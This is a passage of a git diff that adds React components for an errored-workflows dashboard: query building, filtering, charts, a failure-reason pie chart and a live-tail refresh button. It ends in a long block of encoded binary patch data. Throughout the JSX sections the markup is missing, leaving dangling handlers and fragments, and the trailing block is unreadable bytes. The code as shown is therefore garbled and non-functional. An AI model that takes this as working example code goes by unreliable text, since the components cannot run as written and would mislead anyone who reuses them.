range filter since 'all' option is removed + const selectedOption = TIME_RANGE_OPTIONS.find( + (option) => option.value === selectedTimeRange + ); + if (selectedOption && selectedOption.milliseconds) { + const cutoffTime = new Date( + Date.now() - selectedOption.milliseconds + ).getTime(); + queryParts.push(`startTime>${cutoffTime}`); + } + + // Add workflow type filter if not all workflow types are selected + if ( + uniqueWorkflowDefs.length > 0 && + selectedWorkflowDefs.length > 0 && + selectedWorkflowDefs.length !== uniqueWorkflowDefs.length + ) { + // For multiple workflow types, use the IN operator + if (selectedWorkflowDefs.length === 1) { + // For a single workflow type, use a simple condition + queryParts.push(`workflowType="${selectedWorkflowDefs[0]}"`); + } else { + // For multiple workflow types, use the IN operator with comma-separated values + queryParts.push(`workflowType IN (${selectedWorkflowDefs.join(",")})`); + } + } + + // Add status filter for errored workflows (FAILED, TERMINATED, TIMED_OUT) + queryParts.push(`status IN (FAILED,TERMINATED,TIMED_OUT,PAUSED)`); + + // Log the query for debugging + const finalQuery = queryParts.join(" AND "); + console.log("Query string:", finalQuery); + + return finalQuery; + }, [selectedTimeRange, selectedWorkflowDefs, uniqueWorkflowDefs]); + + // Create a search object with the time range query + const searchObj = useMemo( + () => ({ + rowsPerPage, + page: currentPage, + sort: `${sortField}:${sortDirection.toUpperCase()}`, + freeText: "", + query: buildQueryString(), + refreshTrigger, + }), + [ + rowsPerPage, + currentPage, + sortField, + sortDirection, + buildQueryString, + refreshTrigger, + ] + ); + + // Call the workflow search hook and get loading state + const { + data: workflowData, + error: searchError, + isLoading: isSearching, + } = useWorkflowSearch(searchObj); + + // Process API data + useEffect(() => { + if (workflowData) { + // Use API data + setData(workflowData); + setFilteredData(workflowData.results || []); + setIsLoading(false); + + // Calculate metrics immediately when data is received + if (workflowData.results && workflowData.results.length > 0) { + setMetrics(calculateMetrics(workflowData.results)); + } else { + // No results found + console.log(`No data found with time range: ${selectedTimeRange}`); + // Set empty metrics for no data + setMetrics(calculateMetrics([])); + } + } else if (searchError) { + console.error("Error fetching workflow data:", searchError); + setData({ results: [], totalHits: 0 }); + setFilteredData([]); + setIsLoading(false); + setMetrics(calculateMetrics([])); + } + }, [workflowData, searchError, selectedTimeRange, calculateMetrics]); + + useEffect(() => { + if (!data || !data.results) return; + + // Apply filters + let results = [...data.results]; + + if (workflowTypeFilter !== "all") { + results = results.filter( + (workflow) => workflow.workflowType === workflowTypeFilter + ); + } + + if (statusFilter !== "all") { + results = results.filter((workflow) => workflow.status === statusFilter); + } + + // Apply selected workflow type filter from chart click + if (selectedWorkflowType) { + results = results.filter( + (workflow) => workflow.workflowType === selectedWorkflowType + ); + } + + // Apply selected time period filter from chart click + if (selectedTimePeriod) { + const selectedTime = new Date(selectedTimePeriod); + const startTime = new Date(selectedTime); + const endTime = new Date(selectedTime); + + // Set the start time to the beginning of the hour + startTime.setMinutes(0); + startTime.setSeconds(0); + startTime.setMilliseconds(0); + + // Set the end time to the end of the hour + endTime.setMinutes(59); + endTime.setSeconds(59); + endTime.setMilliseconds(999); + + results = results.filter((workflow) => { + const workflowTime = new Date(workflow.startTime); + return workflowTime >= startTime && workflowTime <= endTime; + }); + + // If no results found with exact hour, expand the range to ±1 hour + if (results.length === 0 && selectedTimePeriod) { + startTime.setHours(startTime.getHours() - 1); + endTime.setHours(endTime.getHours() + 1); + + results = data.results.filter((workflow) => { + const workflowTime = new Date(workflow.startTime); + return workflowTime >= startTime && workflowTime <= endTime; + }); + } + } + + // Apply selected reason for incompletion filter + if (selectedReasonForIncompletion) { + // Get all workflows that match the selected reason group + const matchingWorkflows = filterWorkflowsByReason( + data.results, + selectedReasonForIncompletion + ); + + // Update results with all matching workflows + results = results.filter((workflow) => + matchingWorkflows.some( + (match) => match.workflowId === workflow.workflowId + ) + ); + } + + setFilteredData(results); + + // Calculate metrics based on filtered data + setMetrics(calculateMetrics(results)); + }, [ + data, + workflowTypeFilter, + statusFilter, + selectedWorkflowType, + selectedTimePeriod, + selectedReasonForIncompletion, + uniqueWorkflowDefs, + calculateMetrics, + ]); + + const getWorkflowTypeData = useCallback(() => { + if (!filteredData || filteredData.length === 0) return []; + + // Group by workflow type + const groupedByType = _.groupBy(filteredData, "workflowType"); + + return Object.entries(groupedByType).map(([type, workflows]) => { + const totalTime = workflows.reduce( + (sum, w) => sum + (w.executionTime || 0), + 0 + ); + const avgTime = workflows.length > 0 ? totalTime / workflows.length : 0; + + return { + name: type, + count: workflows.length, + avgTime: avgTime, + totalTime: totalTime, + }; + }); + }, [filteredData]); + + const getStatusData = useCallback(() => { + if (!filteredData || filteredData.length === 0) return []; + + // Group by status + const groupedByStatus = _.groupBy(filteredData, "status"); + + return Object.entries(groupedByStatus).map(([status, workflows]) => ({ + name: status, + value: workflows.length, + })); + }, [filteredData]); + + // Replace the getReasonForIncompletionData function with the hook + const reasonForIncompletionData = useWorkflowErrorGroups(filteredData); + + const getTimeseriesData = useCallback(() => { + if (!filteredData || filteredData.length === 0) return []; + + // Group by hour + const grouped = _.groupBy(filteredData, (workflow) => { + const date = new Date(workflow.startTime); + return new Date( + date.getFullYear(), + date.getMonth(), + date.getDate(), + date.getHours() + ).toISOString(); + }); + + // Convert to array and sort by time + return Object.entries(grouped) + .map(([timeKey, workflows]) => ({ + time: new Date(timeKey).getTime(), + count: workflows.length, + })) + .sort((a, b) => a.time - b.time); + }, [filteredData]); + + // Memoize chart data calculations to prevent unnecessary recalculations + const workflowTypeData = useMemo( + () => getWorkflowTypeData(), + [getWorkflowTypeData] + ); + const statusData = useMemo(() => getStatusData(), [getStatusData]); + const timeseriesData = useMemo( + () => getTimeseriesData(), + [getTimeseriesData] + ); + + // Handle workflow type bar click + const handleWorkflowTypeClick = (data) => { + if (data && data.name) { + const workflowType = data.name; + // If clicking the same type, toggle it off + if (selectedWorkflowType === workflowType) { + setSelectedWorkflowType(null); + } else { + setSelectedWorkflowType(workflowType); + // Reset to first page when filter changes + setCurrentPage(1); + } + } + }; + + // Reset workflow type filter + const resetWorkflowTypeFilter = () => { + setSelectedWorkflowType(null); + }; + + // Handle time period click + const handleTimePeriodClick = (data) => { + if (data && data.activePayload && data.activePayload.length > 0) { + const clickedData = data.activePayload[0].payload; + // If clicking the same time period, toggle it off + if (selectedTimePeriod === clickedData.time) { + setSelectedTimePeriod(null); + } else { + setSelectedTimePeriod(clickedData.time); + // Reset to first page when filter changes + setCurrentPage(1); + } + } + }; + + // Reset time period filter + const resetTimePeriodFilter = () => { + setSelectedTimePeriod(null); + }; + + // Function to refresh data + const refreshData = useCallback(() => { + // Increment the refresh trigger to force a re-fetch + setRefreshTrigger((prev) => prev + 1); + + // Reset the countdown timer + setTimeUntilRefresh(60); + + // Show loading indicator briefly + setIsLoading(true); + + // Hide loading indicator after a short delay if it's still showing + setTimeout(() => { + setIsLoading((prevLoading) => { + if (prevLoading) { + return false; + } + return prevLoading; + }); + }, 500); + }, []); + + // Set up auto-refresh interval + useEffect(() => { + // Clear any existing interval + if (refreshIntervalRef.current) { + clearInterval(refreshIntervalRef.current); + } + + // Only set up the interval if auto-refresh is enabled + if (autoRefreshEnabled) { + // Set up countdown timer that updates every second + refreshIntervalRef.current = setInterval(() => { + setTimeUntilRefresh((prevTime) => { + if (prevTime <= 1) { + // Time to refresh + refreshData(); + return 60; // Reset to 60 seconds + } + return prevTime - 1; + }); + }, 1000); + } + + // Clean up interval on component unmount or when autoRefreshEnabled changes + return () => { + if (refreshIntervalRef.current) { + clearInterval(refreshIntervalRef.current); + } + }; + }, [autoRefreshEnabled, refreshData]); + + // Effect to handle data refresh completion + useEffect(() => { + if (workflowData && isLoading) { + // Data has been refreshed + setIsLoading(false); + } + }, [workflowData, isLoading]); + + // Effect to handle search errors + useEffect(() => { + if (searchError) { + // Show error notification + setNotification({ + message: + "Failed to refresh data. Will try again during next live tail update.", + type: "error", + timestamp: new Date(), + }); + + // Clear notification after 5 seconds + const timer = setTimeout(() => { + setNotification(null); + }, 5000); + + return () => clearTimeout(timer); + } + }, [searchError]); + + // Reset auto-expansion state on component mount + useEffect(() => { + console.log( + "Initializing errored workflows dashboard with time range: 24h" + ); + + // Start with 24 hours time range + setSelectedTimeRange("24h"); + + // Return cleanup function + return () => { + console.log("Dashboard component unmounting"); + }; + }, []); + + // Debug log for time range changes + useEffect(() => { + console.log(`Time range changed to: ${selectedTimeRange}`); + }, [selectedTimeRange]); + + // Add handler for reason for incompletion chart click + const handleReasonForIncompletionClick = (data) => { + if (data && data.name) { + const reason = data.name; + // If clicking the same reason, toggle it off + if (selectedReasonForIncompletion === reason) { + setSelectedReasonForIncompletion(null); + setReasonFilterFromChart(false); + } else { + setSelectedReasonForIncompletion(reason); + setReasonFilterFromChart(true); + // Reset to first page when filter changes + setCurrentPage(1); + } + } + }; + + // Reset reason for incompletion filter + const resetReasonForIncompletionFilter = () => { + setSelectedReasonForIncompletion(null); + setReasonFilterFromChart(false); + }; + + // Show loading spinner when searching + if (isSearching) { + return ( +
      +
      +

      + Loading errored workflow data... +

      +
      + ); + } + + return ( +
      + {/* Add style for notifications and animations */} + + + {/* Notification component */} + {notification && ( + setNotification(null)} + /> + )} + +
      +

      Errored Workflows Dashboard

      +
      + {/* Time Range Dropdown */} + { + // Reset to first page when changing time range + setCurrentPage(1); + + // Show notification if filters are active + const hasActiveFilters = + selectedWorkflowType || + selectedTimePeriod || + statusFilter !== "all"; + if (hasActiveFilters) { + // Get the new time range label + const timeRangeOption = TIME_RANGE_OPTIONS.find( + (option) => option.value === newTimeRange + ); + setNotification({ + message: `Time range changed to Since ${timeRangeOption.label} while maintaining existing filters`, + type: "success", + timestamp: new Date(), + }); + + // Clear notification after 3 seconds + setTimeout(() => { + setNotification(null); + }, 3000); + } + }} + /> + + {/* Live Tail button */} + { + const newState = !autoRefreshEnabled; + setAutoRefreshEnabled(newState); + + // If enabling, refresh immediately and reset the timer + if (newState) { + refreshData(); + setTimeUntilRefresh(60); + } + }} + /> +
      +
      + + {/* Summary Cards */} + {metrics && ( +
      + + + 0 + ? `${( + (metrics.failedWorkflows / filteredData.length) * + 100 + ).toFixed(1)}%` + : undefined + } + /> + + 0 + ? `${( + (metrics.terminatedWorkflows / filteredData.length) * + 100 + ).toFixed(1)}%` + : undefined + } + /> + + 0 + ? `${( + (metrics.timedOutWorkflows / filteredData.length) * + 100 + ).toFixed(1)}%` + : undefined + } + /> + + 0 + ? `${( + (metrics.pausedWorkflows / filteredData.length) * + 100 + ).toFixed(1)}%` + : undefined + } + /> +
      + )} + + {/* Main Charts */} +
      + {/* Workflow Type Distribution */} + + + {/* Status Distribution */} + { + setStatusFilter(status); + setStatusFilterFromChart(true); + setCurrentPage(1); + }} + onResetFilter={() => { + setStatusFilter("all"); + setStatusFilterFromChart(false); + }} + isFilterActive={statusFilterFromChart} + /> + + {/* Reason for Incompletion Distribution */} + + + {/* Time Series Analysis */} + +
      + + {/* Results Table using imported component */} +
      +

      Errored Workflow Details

      + + {filteredData && filteredData.length > 0 ? ( + { + setSortField(field); + setSortDirection(direction === "ASC" ? "asc" : "desc"); + setCurrentPage(1); // Reset to first page when sorting changes + }} + showMore={false} + /> + ) : ( +
      + No errored workflow data available +
      + )} +
      +
      + ); +}; + +export default ErrorsInspector; diff --git a/ui/src/pages/errors/components/FailureReasonChart.jsx b/ui/src/pages/errors/components/FailureReasonChart.jsx new file mode 100644 index 0000000..88df375 --- /dev/null +++ b/ui/src/pages/errors/components/FailureReasonChart.jsx @@ -0,0 +1,157 @@ +import React from "react"; +import PropTypes from "prop-types"; +import { ResponsiveContainer, PieChart, Pie, Cell, Tooltip } from "recharts"; +import { styles, CHART_COLORS } from "../errorsInspectorStyles"; + +const FailureReasonChart = ({ + data, + selectedReason, + onReasonClick, + onResetFilter, + isFilterActive, +}) => { + return ( +
      +
      +

      + Error Patterns +

      + {isFilterActive && ( + + )} +
      + + {selectedReason && ( +
      + Filtered by reason: {selectedReason} +
      + )} + +
      + + + { + // Truncate long reason names for the label + const displayName = + name.length > 20 ? name.substring(0, 17) + "..." : name; + return `${displayName}: ${(percent * 100).toFixed(0)}%`; + }} + onClick={onReasonClick} + cursor="pointer" + > + {data.map((entry, index) => ( + + ))} + + { + if (active && payload && payload.length) { + const data = payload[0].payload; + return ( +
      +

      {data.name}

      +

      Count: {data.value}

      + + {/* Show original reasons if this is a fuzzy-matched group */} + {data.originalReasons && data.originalReasons.length > 1 && ( +
      +

      + Includes: +

      +
      + {data.originalReasons + .slice(0, 10) + .map((reason, idx) => ( +

      + • {reason} +

      + ))} + {data.originalReasons.length > 10 && ( +

      + ...and {data.originalReasons.length - 10} more +

      + )} +
      +
      + )} + +

      + Click to filter by this reason +

      +
      + ); + } + return null; + }} + /> +       +       +
      +
      + ); +}; + +FailureReasonChart.propTypes = { + /** Array of failure reason data for the chart */ + data: PropTypes.arrayOf( + PropTypes.shape({ + name: PropTypes.string.isRequired, + value: PropTypes.number.isRequired, + originalReasons: PropTypes.arrayOf(PropTypes.string), + percentage: PropTypes.string, + subgroups: PropTypes.arrayOf( + PropTypes.shape({ + name: PropTypes.string.isRequired, + count: PropTypes.number.isRequired, + reasons: PropTypes.arrayOf(PropTypes.string), + normalizedReasons: PropTypes.arrayOf(PropTypes.string), + }) + ), + }) + ).isRequired, + /** Currently selected failure reason */ + selectedReason: PropTypes.string, + /** Callback when a reason is clicked */ + onReasonClick: PropTypes.func.isRequired, + /** Callback to reset the reason filter */ + onResetFilter: PropTypes.func.isRequired, + /** Whether the reason filter is active */ + isFilterActive: PropTypes.bool.isRequired, +}; + +export default FailureReasonChart; diff --git a/ui/src/pages/errors/components/LiveTailButton.jsx b/ui/src/pages/errors/components/LiveTailButton.jsx new file mode 100644 index 0000000..77aead4 --- /dev/null +++ b/ui/src/pages/errors/components/LiveTailButton.jsx @@ -0,0 +1,84 @@ +import React from "react"; +import PropTypes from "prop-types"; +import { Tooltip as MUITooltip } from "@material-ui/core"; +import PlayArrowIcon from "@material-ui/icons/PlayArrow"; +import PauseIcon from "@material-ui/icons/Pause"; +import { styles } from "../errorsInspectorStyles"; + +const LiveTailButton = ({ + isEnabled, + isLoading, + timeUntilRefresh, + onToggle, + showProgressBar = true, +}) => { + return ( + <> + +
      + +
      +       + + {/* Progress bar for auto-refresh */} + {showProgressBar && isEnabled && !isLoading && ( +

    • +m*afJ6G3{($YJrdTJg;vvbIc_)F!t@|(!b~1ze6v>YD^(6bGMlG7yNyXajUAaZ`1Qg*R9?l+JK&-95H`ubMVoHAT_`T-2Kr9 zCBFjELd*b-6nbtH71G>+BE+5>g?4v~LYj6m5ucoB-FWqrU1$05 ztj_m1aRDgEWaR`SJ0Gi1(k@;MDo+U-;!D-&?F>g8qAcFE4Yo=5oib%}z#i7x@3jPTya|nqLu+JyMldaC)Cj)){2-F3f-Mf^OpdHlw&{ z@%{#}NcxY7`)9j16hZIANt^(+TqYHxb2<-)jcWn!V2HPrxb;^N9>{LA8TcJPnmoh0 zyxPlC1oE#pH}A?l*IwT1`I92;w;J^W3=~)!ceesDU&~H~YRmVqDY&7(hMYn01xU4~ zoT%Gbf8#!TiuPiwDgm^UZg$5ts7vZ9qv+ph3xlfP)b)s;CMhqatcIf4l-8zn2-2pX zwf$Ko@#{`ykS8Qdztj{mALO12gc7`=Y(q6xn9vC-&Yo%jb?cS$2g%01dv8hpCLW2j z8LTIa6si{ZpBWyY7EW9C8^stn_9*IeeJ5IEuAT9m%5lV4O?V z%RTgkzaQ}l_1`L-^$~LqWwkSPyr6IT&*Axi64H z%K6i$j=#?TDW$*kFAv3EOH?5n33HcY5=d9!QA8!h*pq`tcacX1Cx!}^@pZC{Q72h0H z0&M;tlmLINM|DPUHO)~APV!?{E0eI!W%|3_KAsWBrtU*26LC(u%7F8DZ?9fb~R zA$aL-SVjfXjp$j91OsE&{v6kQvSGgF0;9(Nb%PYaoQRk<%HyJuS6pPZ9{!O_Xb#YO zWAWM|Ld5(GW9b)P<#$s5d4&)ugZ=M!&xzsKkEA{zz%>X*>~6ix9;-GWWtrUXj}Tdv zZ7xvj{$KZolc;;Hi0T{@d0b#2+pA}e=q-$qp%wv3jwuXHg<2@@@cCH&CO$v^7wK1k#@Th#^4I= z*lW|>P0Vi$pE9^vQ2+WaS?`BK6AS~p7s+6aRb@#}S-Ykkbg40}&nnCOzFv+piVt)A>4;$O^ zN1LvOG??-%I24kFGM z|2>TydkgqYw?wZup63?h{?c;yRti<59dP>22 zaYDN}!DZm|FTEourb^vuD5J-jNcgGYh44H^P723Ia|&woZ~XRqJ%5p9fM}7Qowy2U z%fG4|B8;U5kA`rDCNd!sot!$)v?WVMrUWLU+DF_69X$Tn$d&p9XiO*t1#cdIxczf7 zfYMjko?v~eB)(lQ&1qATrxi2BipJ^PDi=T9z#VLUcQ0J(!I0>!Zn@0$EZ=ulsNPsW>;*{YV6&i;B`UoHfPKD$l*I*DFz;A7PB zP4(A`4M+hi_D8kli(|m*n#{jwFPE-O%1rmgTOjiZVPbms&!x$O!=Lj~N4|=?phx|= z?~m7xlCaecjcz!;Q!ZR16L2U8`c2M=sOjC1o~rH0H;CQJW%<8v`C_(iL1JYQef42v zV>7EdC+lq!4ezyIdS`RI-!Wf@asK)Y{@ve4UW~(gzn?19s!g=Sf4!k z3WqsTbh54=u`Ct8_4|s1zt5aJau%B@``Jh&@%?V11b>%r-Xs=Ag%#VF?KoSgsG zdi?uj3Q=Sz&sO>9aqPMLdRWNH913y0dH4GZT@hg1j*UVK8qJi~-~2yvFESQIuw`X) z+AEJ}?+{UzF}AQ8RQ`ga*iU(9eY z?^NmplEL7Q)ZZQ7$-f`-*UkK${K^-c`h6tgUZUbliN$SWrJk`0rQQQXfqWD$wG$E4 zV#>+?9c7Qc>!bfPL<#T&&y|wbk8TkO8KU3KLrkJ$o12;LwR!+il0OUi2azz#Gh7GJ z`UZcruP3{pd*G`-ZNH1!}fBoXz$p5??9wE4#q=0|g@yiirAQiv+UWptuH-2~Jk=qVY1kbWwv#n?J z|N10~@!&v=aFf48dUW>$1WNQaoQ}Bj)&7~@=Ie!3i~n;n$Dl?I;$76o>JPEU7PJiL z_TQC`xH8MptXgM!s#k~5N z=U3=Fx(1Hi$d?%KxZbPXI1jIXR;l9aqh+s6bIbofv>g5MfBi$?;+BCcug|#$uO7WS ziDzWN*a>ol`2nSL5_%WWpa6@WMJAMDnCBewv53EMm8BW@qvAtz3KVm%T> zJTJk=yjr@&um;<2{##znK&ArL@rOD4+uBDSmW;*8?fXjIA-dV-n%`vHY zrJF~8=AT#d_p>r20+X#k^w|CUzryHWi%-qv)X-1_x9N+IwR=H(&YyvO)thi7xoVRC zK^Kz!8Kzt;mhh}%`YjSl&nS-I@qF^2)M~npOZ4bFKXyiezwqP6@t;V6Fw>*yfCM8U z)74iWCASq8*BlH}7^>CHe|6pSTTT6U1`2pDQ3aD=8hG7~y^&M~{PeA*sElg+b0E%Y zl|(bCCMkekJqLoOU%{G1-H$Kt+U&iBR(qPbxCke{cAr+80HS~qQ56+Ywm3b#`kHVcpduu+;Y=rrG$}{h|YTbd+I@7?hxsIMd4pf@Deed(Z~0m`XD&!D{gen zZsnbRkcv-3;@3Sbo3@`0zAg{GB^D8c0i}{D{=xy_<0^6Uaypf9R(UkZnLY?FJ2XP$ z@VvFLuW%;a*i9h|0S*pq5hazfEBe!7LY#+YSjM8$Sm!cXiy*ouTo*HHM}KWZ>_y&y zT1Q-Bm5zG&!SuXHm9q~bEU9a3-7G~wGsO%uRey9Pku~FtKAPQQY>r}Zzf`>Y{is(T z&+gs@kw$W9Wt8=ehmrz~=)DYEL5y|uUwI~hu;1X|CEl5LgJy>hF3}?v-F3|leXhDu zYvP?2i%h(wKuAcwUZHg%u~CZ3_KCY@r$w!8Y?M}8-Tyl%;q8^Xd$+67)vpOKxw{mK>Uyohg%=nCwP zs!|ec$%*c!=w$HzyDhDu@`cMoCB9{pCW^0lRw<|QgDR9t(DtuqXTSO={}^a!U)xHz zXBl<3n zN7s{JZ|sVR73A~fI-^QOCa*jTRX9JWa!mG<+e%D*8tKo;>5 znMBjmo!GNe?}(Z{^hL2n3rOedCKr{}dqtT;Nr$En{Cbe)=RBqkJ%5g5z8@IF{-h|L zUI}sapx$^5uEl9MM+fGYe@E|d zvm`u~ zchz^RhP1S6HGN&S{zInL?w+2=@`?m(y1p^u+s2Fj+;K%t+XIIjSk7BQfp*xVP#L|$ zb4d87!b2bL*Ez$ka#;PTQQoVixvSIIa~B|a`?VpSMqLT^|g;1JS^KU zUZu}tgSiV9cz?G;PHMcuhIWs134_Sfh+z59vaTDPkcM;0X)svO8rMdhB8x4Lb%2RiJw z9&1T*=v!;saVq)JIXp4+=(c{iwAY7Lem@_rvW{}T;y^O?eWR|}3hwJX#@=7Uf=P5V z4%3L{@=7;&*e}5vzg>s>yLx8cAttsiofFXaYvucOU*2^0H z6(_yz5fMSumX>0wiIn>uS<)(3$7=D!1iBo$4{N{ zVZNJ3&O6QH)dRAh@(jyK1I&)Ijlh63Yzv(8d!!xfXCEFWhBE&ZI2G$22YD}sXb8co zhc%gF`j9SFiYO{=G7bm_$84k33G)d*e{FnZR|iV6@C{=Cx+H&IZpZE{$<=Zsrd9Nk zFW*wOAT-ay@=NRWtDD|Y&%$5RYO#5ZFO&ymC9~Ntj)obp6pmY3wsx5$1CI)~3G*@I zm6!wz@#jrZ!rGaIQbWbs!8coS3$*&%O+#EKoD?AWIn)lN$Q)bRqGFxYlLw{tL4;|L z0Kn%>E)me6p$yj{T=P2c51NEd6nCowli$rHm()n${= zy%z@CeW80K`2uOTiN}V3kC(4!?EIlE8#4}C$5-ti4n@o0qU2%#CwMp zB|n>zui{KUZg;PyZ-1Yn=%|niY!LU~TJ3H0P`!VDA0%*GTkz4Hq4+W(ZQ4Yq2p4OF zU;aq3*49-a7PH;4CD+8h%L2_5g*En2O7~l~{rek1Yh88~U%o|Nj9VS|&Qt8B?Y1^< z(nE7^z1t!6a+8I4-UTD!nBs+1S}L_!*3_yMKXwyl!=zg1k0UHtZ#FDN}ToB zz;*5SHzhemD>7?-Ol(ixb;{K$n`82@_~F0yp?anHYzhMY!38=$@ao?7c3Cb=YmKha zsH zx8bTC%vJ1b6O;9;o!6!2z=Eg49DesrvI|VBS&{ckV)=4MbW(IxQMyeO@{He=yB_3I@;-g+pR=zcFJG0nWaFV5k?^drWa}v z9gF#in6|d*#GO^vM9fX&^DalLKYj!_;GQNB-Fl4f5-!^Wi;naesOow=04q*p#77~Vr7er7`AdIOHJ7prqnjvhx{tht?i_S(BhB2qV64C@gK~;bCM&IKv)-=ciPb@PF51VMz$TpXu5gX$ zr%?^!1iP`Fr~6eq?v>vfi%ZX%Pu8#ohk%u!EP)bS%TxMO^`N61Fx~PDYJ4xH-aK5f16=z z?LD2xqEh;Z`+dH8DYE7dTDO>;n9O4$p`}^1?d8amh*r9dkJf&tQE7>rQ?%5V(0!LD z%Gpv4F*z@?qA)&VPK$?G??f$)#PG5E0ZwBZ$HH9?u2$|cYFTisR-S)#`NrRs^5JWL zs+5BS1{SK^XfWM+Bi`DgBNql+U1(UPn0}vjJzeXgw|=9B>Z=&J{gHh8k#&0;p?Ya2 zOxL{|FSj-tw_EEwtZd5>B~E2bADg@ayIdNb9cpc)tcX=a6>f+NNwnN#j>B$>?~%Af z?KO!oEBWfe*~&KOJPA(IZCsYAE*#k` z{HUQ}I2?GvJ89*z33T#j z$vT+@wy2pamTXwdjx*9vwAw51^nmWk_g+_grI2-^1DdiWE42fXAwSv$#1Fp{rp>|Y zD{{ZU`-CyIY#+YGYS4?+^wnsyctx}sc|VWa?YZKwO(lGo|C9r5))`zozO9v&YOpm) zq5aY+XW#W<312Sy)4V{JyFlSK09%%#O4Cz|pARu*Vif}50Bo}$ZrdpbDO-E)_2z1X z0KRvvzC*<(_&6rR`s~ ztvf}+89)rlD|<?DEoz8w@2+w#{l+W*Rn}n4 z&DoQ0uOFq}BCP=*oVmN@ym};oiX`#N_CL$y_fsi z9rH8g&~ioW>zmvju`qFk8?`UH2-5eD7F|lGW){0W-8Gn`we*RP`AECCA^?Zxf zy$j#SeK+1c$R#o^P%_TtL@GqQ1aAC1(-1_l<(+i#u)fQuY|c+;TP8DAF)U>G^r^=$&ZRaSl$v?}_j3cegl-Bg+(&oIX+g z5cIw)^*QX~glKh*&&!(6Z`lI)4c8WWH~*pCvKLQz^*P0}!nM0wZ&d*uYUg;dqqN6# z+TPT|4|CEttBMEpRbNohKNK1(H{Z5LXPAx&S+L%%rOU|TxWgimPor0?!Eu<)UL@$y z)T{owgql-3>ZNw<&h*Ui2d6U4uSz%C(n}FS=f1*E{96CK!FM5Dok(tA!@7dkx?ox?g)f=1a6H-+rj_cz`+_a1zDFTs+ z>jstTZ>4j9CrqKnqbGE$>yA51C4o7sb4f^o;&G=&J&-fA0v?r!vfrn0lU-s|%M_Ng zvCbsB7HnV;#-b}Eb{Av{8&tS3szkBG`LLdxyiEmErw6A5ZOGX*YAg0bacs6?->4#A zhs&V{PdElz^_rRAPLtivhAx`)4U{HTWJykowN}Q+CkJ6O;_)S$0}3%ORa zn!7<=$T(dPY_;x9gYL4P$WN@a%YUo5G64BEVB-FDGk=#L*|F>+^c zJc*kU8Le;V=X_;c8G$)RpjIfH$x6TbcROLmFIw+S-1Y%5Z*8M?;jpEgqM~sB3wRWK zh51F}2Vb@v)dPCAy{qANj4KJvAw>2IB|iEUP30&*Xz!RyGZj~Zsp;(3_eynqE8W+i zOq!BII7dpykIIU|F)!0R6(O42r8$RED!NZzY%trAad*ZWSPf)GJmy~v zdo#J?Hj(dcFP}Ou1;xkb~m*d+jF**cEPk_6-i3f zD@*SNctyrxF_3ZAm4tCRigM&+p@Kz{wCuQD%-72VZz7E}+3eLttVW%J4qbdr$6~pB|IluiN0^Y_j;Am|{f19N}bI(mmC> zF?pB!u1%K^wo|vUPc`4=l8A_59yzrcj_NMhYXtYMIv$rkX`yY0qAlH(#odQuF4&1{VZO&g(+1At>11V(VriRqy(dGl->O!I;Ppwp(XD#Co>y1=bq@QS z>spxhvv@sk1LrsKaUZ{H$IP;kiI3((SFS`D=wrLo%2fGt&Kr4HjnC*vUFs0FA2s8R zyE8KJY9wd-<%?aJSC{MUeJk(SVdOAg&x`OV4gaWFqyL75gk4tn+N{< zjNQunet#NB)`czYG?!lZO_*911&j z=q(U?)7-2is}Mczu+dur0*9mI965NJDp|h8=zC^9HStHaG1v}O_KmsB*PpY6qd?u; zr5|!eaahPn<9gd%$z83|Vn}v02O5Aad&b=IhdEoq7i4fBNgGsw(Hm_X=g|po#})co z<}c4{Ftd8@cAaqO_c-JjxX;;ArVVQoEF|d$up+Ae)=qehp_vFF< z0D(H3tw!v9@y%w@6qj|V6~;1S8jkx}7>CvIhBNwmlVLz_*Y=mDa<=zI6(;DZO>I(> z75C~s2Q_x|#h3}*1^ZMfMD`I$H^($&Nj3X;T54FL9S2l%Jlfjetj$Z0i^IdQOQbXv z?baJUZw2?*tqs|Wpu9?Z+d>FRbE7?$ysqJW?Dbu*q_ZrX9~2O5SJ0&9{Ptoi!<2|m z7_JDEN#Ok*{}|`Ci`7z6@<~OlYj7Sg^`~p>zr!5PP)mhveFRCL`l6yh@*h4-Wau_{!oEl39JqK9a9D0dag01>X`(8YJQd5q?jBGxKShcrrHZ&k~cGcW45_B8>QNJjN@xpGE zGArZFj2IogyFLZuQ@fW&+#AC5HfPWHi#Z){`PBY4(ZwwKm2}QN<>U9! z$qYU)p9adOs6}IumHmD>NTsz`#XLsfBq-0@&q57uCS{>_Vl3r}PL30xkba`|W|@CK zl#XFkJoV7ys0Xx&YSmGrXYG~n?MR4!#+1HrRR>l1VNCo*KJSTU3{3r`&>%#&Be&A5 z+{Sb6wj4U$MlNzru5huErxVp_f*fq|6kvC^q_NwA6}8*i5br%EO^t;3EN^`$Jv+ay z-iQ4`))T@kDR?%&cYhD(9Op!I{eqe-SJ#`1O)|Uh66N}175}n?>L9;wD7^>yaO+sI zCEk{92PNsQPO6U5D1o4zSb>}diz=LEUOr`rpACs7K}jQ9x-jxzbQHh%vZ^b#Y= z(50l@iri|1?_+p%dzlV1bFD?YU3)xkovi6*g8g@J~`N+mBs2i5d_wAB>V}Bm&y#b-e zHlZhav_L-00e6oiN=?4ZP_r;bqFD(KKR+O#^*rz7eJpe_k@{q%3w^)OCVM6GW|@id zTFRont36Bl!D0KbV;e{_s8%)EcE2@{({z78^VaCdz=xS{qk%1bcD0Pp85Duob){X8 z{M$7~EBMMgZp-D&>$=_fuBfm%VbcROSsf3*Ka5-y!w$lp`j6neG3S7PY-lq@VctI+Uw2hBIb~fm7Y_iGyQo(QkP$oqHQ_e`&bO9@O-9s+wQjw_Y(2A>lePDV13- zsB|&!p?1{aaZ+{MF>5tag=`-ZHEYEvGk%K-RNWbw_Swjjm<7}o_dww4AmS}%GXZv< zN@nQJ65QLEDSE+5ciVelGkLtTT9YcT!i3OT*zuD)ajv2i15T>IyFJt)Fa3arv^NqA zdS+LMz@iQxWPjIvCh89zaYH;o2_r>CY76pUQ7_@hEK$W$?@6dU__6ya4 z1So*;{pzCjW1E&dhsAia5Tc;q896hJkVAe{jhqb$iMqrH{G(*RLmM*6mFG^@&WYCJ zoSM6o``U9yeDZk5Fcq;+m&5i~YFr_X|5E#&q)6FB4kR~D9Aoyv(_?f?g|Rg= zdL98kkuqQ3i++@30B9%~;0FC1lk-vq3^|enF(fWsB3(ceT`HDF+M?S!G_S0Gv_>OS z64IEslc6y)mRYeduNV8u2pAF#m8+_SIq|s9p-cC}$s!XyE%C+l3k&2%H8_eji5FbO 